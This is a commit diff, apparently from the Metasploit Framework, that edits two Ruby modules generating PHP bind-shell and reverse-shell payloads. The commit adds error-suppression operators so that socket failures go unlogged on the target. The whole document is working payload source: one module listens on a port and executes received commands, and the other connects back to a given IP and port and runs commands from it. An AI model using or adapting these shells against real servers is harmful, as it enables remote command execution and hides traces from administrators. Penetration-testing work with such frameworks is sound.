avoid logging socket errors

git-svn-id: file:///home/svn/framework3/trunk@5651 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2008-09-04 03:52:02 +00:00
parent de60bd8e35
commit f0976fad87
2 changed files with 25 additions and 23 deletions

View File

@ -57,24 +57,24 @@ module BindPhp
$scl='socket_create_listen';
if(is_callable($scl)&&!in_array($scl,#{dis})){
$sock=$scl($port);
$sock=@$scl($port);
}else{
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=socket_bind($sock,0,$port);
$ret=socket_listen($sock,5);
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
$ret=@socket_bind($sock,0,$port);
$ret=@socket_listen($sock,5);
}
$msgsock=socket_accept($sock);
socket_close($sock);
$msgsock=@socket_accept($sock);
@socket_close($sock);
while(FALSE!==socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{
$c=socket_read($msgsock,2048,PHP_NORMAL_READ);
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;}
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
socket_write($msgsock,$o,strlen($o));
@socket_write($msgsock,$o,strlen($o));
}
socket_close($msgsock);
@socket_close($msgsock);
END_OF_PHP_CODE
return shell

View File

@ -73,14 +73,16 @@ module ReversePhp
$port=#{port};
#{php_preamble({:disabled_varname => "$dis"})}
if(!function_exists('myexec')){function myexec($c){
global$dis;
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
return$o;
}}
if(!function_exists('myexec')){
function myexec($c){
global$dis;
#{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})}
return$o;
}
}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=fsockopen($ipaddr,$port);
$s=@fsockopen($ipaddr,$port);
while($c=fread($s,2048)){
$out=myexec(substr($c,0,-1));
if($out===false){
@ -91,18 +93,18 @@ module ReversePhp
}
fclose($s);
}else{
$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($s,$ipaddr,$port);
socket_write($s,"socket_create");
while($c=socket_read($s,2048)){
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
while($c=@socket_read($s,2048)){
$out=myexec(substr($c,0,-1));
if($out===false){
socket_write($s,$nofuncs);
@socket_write($s,$nofuncs);
break;
}
socket_write($s,$out,strlen($out));
@socket_write($s,$out,strlen($out));
}
socket_close($s);
@socket_close($s);
}
END_OF_PHP_CODE